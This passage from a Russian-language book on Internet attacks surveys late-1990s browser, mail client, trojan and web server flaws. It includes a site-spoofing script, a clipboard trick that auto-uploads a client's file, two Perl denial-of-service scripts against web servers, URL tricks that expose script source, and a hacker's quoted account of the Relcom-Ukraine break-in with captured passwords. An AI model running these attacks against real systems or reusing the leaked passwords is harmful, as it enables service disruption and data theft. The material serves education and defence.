Атака на Internet, Медведовский Илья

Атака на Internet

на обложку

Медведовский Илья

Шрифт:

Использование этой же ошибки в целях подделки сайтов демонстрирует следующий код:

b=showModalDialog(

"about:<SCRIPT>a=window.open(’http://www.yahoo.com’);"

+"a.document.write(’<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD>Любойhtml-код’); close</"

+"SCRIPT>%01http://www.yahoo.com");

</SCRIPT>

В ряде ошибок, обнаруженных J. C. G. Cuartango, встречаются различные модификации идеи применять буфер обмена Windows для передачи информации о компьютере клиента. Самый первый вариант скрипта выглядел так:

functiongetfile

{

document.forms[1].T1.select;

document.execCommand("copy");

document.forms[0].filename.select;

document.execCommand("paste");

document.forms[0].submit;

}

Подразумевается, что в документе присутствует форма со скрытым полем T1 и полем filename, предназначенным для передачи файла на сервер. В нормальной ситуации имя файла может быть задано только пользователем, здесь же демонстрируется возможность копирования содержимого поля T1 в буфер обмена с последующей его вставкой в filename и автоматическим отправлением формы. В другом варианте скрипта использовался объект selection, в более поздних – объекты ActiveX Microsoft Forms 2.0 TextBox и Microsoft Web Browser.

Оба браузера очень слабо защищены от всевозможных вариаций на тему бесконечных циклов, рекурсий и т. п., поглощающих ресурсы системы и приводящих к зависанию либо аварийному завершению работы браузеров.

Немного поодаль отстоят ошибки Internet Explorer, связанные с переполнением буфера при обработке нестандартных URL большой длины (res:// и mk://). Это открывает возможность передачи в URL кода, который будет выполнен непосредственно на компьютере клиента. Демонстрацию использования этой ошибки в сочетании с обнаруженной незадолго до того ошибкой в Pentium, приводящей к полному «замораживанию» системы, можно увидеть на странице http://www.l0pht.com/advisories/pentium.htm.

Безопасность

других клиентских приложений

Говоря о безопасности пользователя при работе с Internet, было бы не совсем корректно ограничиться одними браузерами. Во-первых, некоторые программы (почтовые клиенты, html-редакторы и т. п.) интенсивно используют возможности браузеров для отображения html. Популярные почтовые клиенты давно уже позволяют работать с письмами в html-формате и не ждать, когда потенциальная жертва зайдет на страницу с опасным кодом, а доставить его непосредственно по месту назначения. При этом, правда, можно использовать зоны безопасности для отключения возможности исполнения JavaScript и прочих активных элементов из этих файлов либо вообще запретить JavaScript (единственный вариант, хотя и не совсем приемлемый для пользователей NetscapeNavigator). С аналогичными проблемами сталкиваются пользователи почтовых программ, не умеющих самостоятельно читать html-сообщения и вызывающих с этой целью браузер, который считает эти файлы локальными и не особо препятствует им в их черном деле.

До недавнего времени «почтовые вирусы» занимали почетное место в Internet-мифологии. Сообщения типа «Письмо с пометкой Good Times содержит вирус, который мгновенно заразит ваш компьютер при попытке прочтения! Сообщите об этом всем своим знакомым» хорошо знакомы многим старожилам Сети, которые прекрасно знают, что роль вируса здесь на самом деле играет само письмо, расходящееся кругами по сотням тысяч адресатов, поглощающее огромное количество сетевого трафика и вынуждающее людей тратить огромное количество времени в поисках защиты от несуществующих проблем.

Однако не так давно ошибки, связанные с переполнением буфера и синхронно обнаруженные в Netscape Mail и Outlook Express, сделали былью и эту сказку. Методы проникновения несколько различаются, но идея в обоих случаях одна – использование присоединенных файлов. Причем проблема не в самом файле (это может быть любой – exe, txt, gif и пр.), а в тэгах, его описывающих. Другими словами, чтобы быть атакованным, даже не надо открывать этот файл – достаточно прочитать письмо.

Тесная интеграция с офисными приложениями в сочетании с обнаруженными в них ошибками сделала реальными и другие сценарии. Например, уже сейчас вы можете получить письмо в html-формате, которое будет содержать код на JavaScript, открывающий некоторую страницу в Internet. На той странице будет лежать документ в формате Word 97, который при наличии этой программы на вашем компьютере немедленно начнет работу. Далее Word загрузит присоединенный к этому документу шаблон с макросом, автоматически выполняющимся при открытии документа, и если у вас не установлена последняя заплатка, то макрос запустится без единого вопроса. А макросы, написанные на Visual Basic for Applications, – это вполне полноценные программы, имеющие доступ ко всем ресурсам вашего компьютера. Впрочем, это не повод доверять подобным письмам, не содержащим ни малейшей информации о том, какая именно ошибка и в каком почтовом клиенте может привести к таким катастрофическим последствиям.

Остальные клиентские приложения распространены в гораздо меньшей степени, чем браузеры и почтовые клиенты, и ошибки, в них обнаруживаемые, затрагивают гораздо меньшие слои пользователей. Наибольшие проблемы среди них создают всевозможные программы для интерактивного общения – так называемые chats (чаты), Internet-телефоны, средства передачи сообщений и т. п. Многие из них не слишком заботятся о безопасности пользователя, позволяя получить большое количество информации о его системе, начиная от IP-адреса и самого факта его нахождения в сети, а заканчивая временем суток и типом операционной системы, что существенно упрощает задачу целенаправленной атаки. Кроме того, большинство программ использует не слишком надежные протоколы передачи информации (притчей во языцех стало количество «дырок» в ICQ), средства автоматизации работы с помощью макроязыков, позволяющие провести атаку, предложив жертве «боевой скрипт». Наконец, они являются едва ли не главным источником распространения всевозможных вирусов и «троянцев» – ну как не запустить программу с поздравительной открыткой, присланную новым знакомым по чату!

Вирусы и «троянские» кони

Говоря о безопасности в современной сети, нельзя не упомянуть ставшую довольно острой в последнее время проблему компьютерных вирусов и «троянских» коней. И те, и другие – всего лишь программы, обладающие некоторыми специфическими свойствами. «Троянский» конь, или «троянец», – это общее название для любых программ, выполняющих некоторые посторонние, как правило, нежелательные для пользователя функции. Вирусы часто путают с «троянцами», граница тут действительно тонкая: но если под определение «троянца» подходит даже команда format c:, набранная по совету старшего товарища неопытным пользователем, то главная отличительная черта вирусов – способность размножаться, то есть воспроизводить свой код. В качестве носителя вируса могут выступать исполняемые файлы, загрузочные секторы дисков, документы программ, способных исполнять макрокоманды, и т. п. – практически любые объекты, выполняющие запрограммированную последовательность действий. О вирусах и «троянцах» можно говорить довольно долго, но нас сейчас они интересуют с точки зрения взаимодействия с Internet.

В первую очередь, конечно, Сеть представляет собой идеальное средство распространения такого рода программ. Рядовой пользователь не слишком размышляет перед тем, как открыть полученный по почте документ MS Word или как скачать с сервера бесплатных программ очередное украшение для Рабочего стола. В последнее время люди, наученные горьким опытом, становятся более осторожными, но общая картина по-прежнему безрадостная.

1998-й год можно смело назвать годом «троянцев». Конечно, атаки такого рода происходили и раньше, техника небольшой модификации кода, приводящая к возможности захвата хоста, была очень популярной в UNIX-системах, но подобных массовых явлений история не помнит. Год начался со скромных поделок, представляющих собой обычные пакетные файлы, сжатые с помощью WinZip в самораспаковывающиеся архивы. Иногда фантазии авторов хватало на преобразование bat-файлов в com, внутри же, как правило, были всевозможные комбинации из команд format, deltree и т. п. Чуть позже были освоены конструкции, включающие в себя программы типа pwlview, предназначенные для извлечения из pwl-файлов имен и паролей для доступа к Internet, а также средства для отправки полученных результатов на некоторый адрес. Разумеется, чтобы заставить пользователя запустить это изделие, придумывались всевозможные приманки. Почетные места в этом ряду занимают «крякер интернета», позволяющий получить заветный бесплатный доступ у любого провайдера, всевозможные 3dfx-эмуляторы и icq-ускорители, а также личные письма от компании Microsoft, в знак большой признательности присылающей лично вам последние заплатки, исправляющие очень опасную брешь в системе.

Самым же ярким событием года стало августовское явление миру BackOrifice. Эта программа – основоположник нового поколения «троянцев», количество которых на данный момент исчисляется десятками (к радости пользователей NT, большинство из них в этой ОС функционировать не может). Фактически она представляет собой средство удаленного администрирования и состоит из двух частей – сервера и клиента. До сих пор все вполне прилично и ничем не отличается от того же PCAnywhere. Однако поведение сервера принципиально иное: после запуска он тихо добавляет себя в раздел реестра, отвечающий за автоматическую загрузку приложений при старте системы, и начинает ждать соединения на определенном порту. Соединившись с сервером при помощи клиента, с серверным компьютером можно делать практически что угодно: получать список процессов, запускать/удалять процессы, копировать/ удалять файлы, каталоги, перенаправлять входящие пакеты на другие адреса, работать с реестром, выводить диалоговые окна, блокировать систему. Одним словом, машина оказывается под полным контролем.

Появление BackOrifice стало несомненным подарком антивирусной индустрии. С тех пор сообщения о выходе очередной вариации на тему BO с последующими победными реляциями антивирусных компаний о появлении противоядия поступают с удивительным постоянством. С другой стороны, накатившая волна «троянцев» привлекла повышенное внимание к теме сетевой безопасности и поставила на повестку дня вопрос о необходимости хотя бы минимального просвещения пользователей. Тем более что жертвами BO порой становились не только пользователи, но и целые системы, включая Web-серверы. Так, прошлогодний взлом Relcom-Ukraine был осуществлен именно с помощью BO, внедренного всего лишь на одну машину в офисе провайдера, причем даже не самими взломщиками (рис. 10.4). Позволим себе процитировать фрагмент описания дальнейших событий (полностью текст статьи доступен на:

Рис. 10.4. Подмененная страница Relcom-Ukraine

«Я посоветовался со своим «коллегой», и мы решили пока просто понаблюдать за тем, как работает первый украинский провайдер, чужой опыт всегда полезен…

Кейлоги (от англ. «key log» – программа, записывающая все нажатия на клавиатуре. – Примеч. авторов) велись круглосуточно практически на всех машинах, а потом мы выкачивали их, пользуясь двумя редиректами (от англ. «redirect» – промежуточный хост, используемый для сокрытия

истинного адреса взломщика. – Примеч. авторов). Кстати, устанавливать редиректы мне просто нравится, и, как показывает практика, в том режиме, в котором мы работаем, найти нас невозможно. Много раз наши кейлоги регистрировали смену паролей. Самый простой пароль имел 5 символов (User: alesha, passw: mzo.5), а стандартные включали по 8–9 символов (Se05WebMr, NiaTwThly, EpK0Qw33). Немного посовещавшись, мы приняли решение всего лишь поменять WWW – хоть моральное удовлетворение получить. Здесь нас поджидали некоторые трудности. Во-первых, машина ultra.ts.kiev.ua (на ней хранится WWW) оказалась уж очень хорошо защищена. Нам пришлось установить редирект на офисной машине с романтичным названием Olways для входа на нее телнетом.

Но выход мы нашли. В субботу утром мы, пользуясь редиректами, закачали в один сильно захламленный инкаминг (от англ. «incoming» – каталог для записи на ftp. – Примеч. авторов) забытой богом ФТП файлы с нашей страничкой. Затем, используя двойной редирект, зашли сначала телнетом на машину uacom.ts.kiev.ua (дозвоночный сервер), проверили пароли к главному серверу.

Когда мы зашли на ultra.ts.kiev.ua, то, запустив ftp-клиент, повытягивали наши заготовки пока что в каталог zz. Ну а затем уже одному не составляло труда менять WWW, пока другой чистил логи (от англ. «log» – файлы регистрации. – Примеч. авторов) под другим паролем (кстати, root там висит как пользователь постоянно).

Вот и все».

Не стояли на месте и авторы вирусов, чья деятельность на некоторое время ушла в тень гривастых собратьев. Последние достижения – вирус, заражающий html-файлы (реализованный на VBScript и использующий ActiveX-объекты), и почтовый червь, размножающийся путем присоединения своего исполняемого модуля ко всем почтовым отправлениям.

Опасность заражения вирусами и «троянцами» вполне реальна, и с этой угрозой приходится иметь дело всем пользователям Сети. Лучший способ борьбы с вирусами – не допустить их попадания в вашу систему, и хотя авторы не верят, что можно заставить всех пользователей отказаться от загрузки файлов с неизвестных сайтов и от неизвестных людей или хотя бы проверять их антивирусами, хочется надеяться на победу просвещения. Будьте бдительны!

Атака на Web-сервер

Собственно Web-сервер – это программное обеспечение, осуществляющее взаимодействие по HTTP-протоколу с браузерами: прием запросов, поиск указанных файлов и передача их содержимого, запуск CGI-приложений и передача клиенту результатов их выполнения.

Безопасность Web-сервера представляет собой лишь небольшой компонент общей системы безопасности хоста Internet. Под словами «взлом сервера» чаще всего подразумевается замена или модификация страниц Web-сервера – самое зрелищное проявление атаки на сервер, хотя на самом деле может оказаться лишь побочным продуктом захвата управления всем хостом.

В то же время существуют проблемы безопасности, характерные именно для Web-серверов. Воспользовавшись ими, взломщик может получить стартовую площадку для дальнейшего проникновения в систему (поэтому по-прежнему остается в силе рекомендация вынести Web-сервер, как и все другие службы, требующие внешнего доступа, на отдельную машину, по возможности изолированную от внутренней сети). Именно проблемам безопасности, возникающим в системе после установки Web-сервера, и посвящен данный раздел.

Безопасность стандартного серверного ПО

Ошибки в серверах

Ситуация с серверами примерно такая же, как и с браузерами: установив последнюю версию плюс все вышедшие обновления/исправления, можно быть более-менее уверенным в отсутствии явных ошибок. Однако расслабляться не нужно – сообщения об обнаруживаемых новых ошибках продолжают поступать с удручающей периодичностью. Кроме того, если пользователь клиентского ПО еще может утешать себя мыслью, что на него просто не обратят внимания (шанс целенаправленной атаки против клиента действительно невелик), то создателю Web-ресурса рассчитывать на снисходительность взломщиков не приходится.

Выделим основные классы ошибок в собственно серверах:

1. Ошибки, приводящие к утрате конфиденциальности. Наиболее распространены в последнее время, дают возможность получить неавторизованный доступ к информации: обойти систему аутентификации, просмотреть исходный код критичных приложений и т. д.

2. Ошибки, приводящие к атакам типа «отказ в обслуживании» (DoS). Носят исключительно деструктивный характер, приводят сервер в состояние, когда он неспособен выполнять свои штатные функции, будучи занят обработкой ложных запросов.

3. Ошибки, приводящие к выполнению на сервере неавторизованного кода. Позволяют запускать на выполнение программы, уже существующие на сервере, но не предназначенные для общего доступа, а также передавать на сервер свой исполняемый код. Последнее характерно для ошибок, связанных с переполнением буфера.

Перечисленные ниже ошибки, как правило, уже давно исправлены и широко известны, но кто знает – вдруг именно вам не повезет (или повезет).

Старая ошибка в Microsoft Internet Information Server (IIS) и ASP – при добавлении точки к адресу некоего asp-файла мы вместо результата его работы получаем его исходный текст. Ошибка устранялась правильным администрированием – отключением права на чтение в каталоге, где размещены скрипты. Вышедшее исправление этой ошибки привело к появлению новой – использование в имени скрипта вместо символа «.» его шестнадцатеричного представления (%2e) давало такой же результат .

Аналогичная ошибка существует в MS Personal Web Server, а летом 98-го года были обнаружены сходные ошибки в серверах Netscape Enterprise и O\'Reilly&Associates\' WebSite Professional – просмотреть содержимое скриптов можно было, добавив к URL %20 (шестнадцатеричное представление пробела). Синхронно обнаружены «дырки» в IIS всех версий, приводящие к тому же результату при добавлении к URL конструкции «::$DATA» и использующие возможность альтернативного обращения к содержимому файла для файловой системы NTFS через так называемые потоки данных (data streams).

При установке IIS на контроллер домена пользователь IUSR_hostname, находящийся обычно в группе Guests, мог попасть в группу Domain Users. Таким образом, пользователь Anonymous (посетитель Web– или ftp-сервера) получал права пользователей домена со всеми вытекающими последствиями.

CERN httpd-сервер – использование дополнительных «/» позволяло обходить ограничения доступа к каталогу . В предыдущей главе уже упоминалась ошибка, с помощью которой злоумышленник мог выйти за пределы пространства, отведенного под WWW, указав URL видаЭто наблюдалось под Personal Web Server.

Любопытная ошибка, связанная с длинными именами файлов. Файл, имя которого не укладывается в рамки 8 + 3, в Windows NT/95 может быть доступен как по длинному, так и по короткому имени: к verylongname.html можно обратиться и как к verylo~1.htm. Многие Web-серверы позволяли получить доступ через короткое имя к файлу с длинным именем, доступ к которому был закрыт.

Старые версии Apache включали не слишком эффективный код (порядка n 2), удаляющий дублирующие символы «/», что делало возможным атаковать сервер множественными запросами с большим количеством этих символов.

Поскольку многие серверы не устанавливают ограничение на количество передаваемых в заголовке клиентского запроса полей, существует возможность атаковать сервер такими запросами, что во многих случаях приводит если не к зависанию, то к сильному замедлению работы сервера. Атаки этого вида получили название Sioux Attack (первая программа, демонстрирующая эту атаку, посылала 10 000 заголовков «User-Agent: sioux\r\n»). Вот пример скрипта на perl, реализующего атаку путем формирования потока фиктивных заголовков размером 8 Кб каждый:

#!/usr/bin/perl -w

use Socket;

# Usage : $0 host [port [max] ]

$max= 0;

if ($ARGV[2])

{

$max= $ARGV[2];

}

$proto = getprotobyname(’tcp’);

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

$port = 80;

if ($ARGV[1])

{

$port= $ARGV[1];

}

$host = $ARGV[0];

$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);

send Socket_Handle,"GET / HTTP/1.0\n",0;

$val= (’z’x8192)."\n";

$n= 1;

$|= 1;

while (Socket_Handle)

{

send Socket_Handle,"Stupidheader$n: ",0;

send Socket_Handle,$val,0;

$n++;

if (!($n % 100))

{

print "$n\n";

}

if ($max && ($n > $max))

{

last;

}

print "Done: $n\n";

send Socket_Handle,"\n",0;

while (<Socket_Handle>)

{

print $_;

}

В последних версиях Apache для борьбы с подобными атаками появилась директива LimitRequestFields, позволяющая ограничить количество заголовков в обрабатываемом http-запросе.

IIS 3.0 был подвержен другой DoS-атаке, связанной с получением запроса вида http://www.victim.com/path?name=XXXX…

Если пара имя/значение имеет определенную длину (свою для каждого сервера, однако колеблется около 8 Кб), в процессе inetinfo.exe возникает нарушение доступа, приводящее к прекращению работы сервиса WWW. Причем совершенно необязательно, чтобы на сервере существовал документ или скрипт path – до вызова документа дело просто не доходит. Подбирать нужную длину запроса можно вручную или с помощью, к примеру, такой программы:

#!/usr/bin/perl -w

use Socket;

$proto = getprotobyname(’tcp’);

$port = 80;

$host = "www.victim.com";

$sin = sockaddr_in($port,inet_aton($host));

for ($i = 8000; $i<9000; $i++)

{

print "\nTrying $i symbols: \n";

$value = ’z’x$i;

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

if(!connect(Socket_Handle,$sin))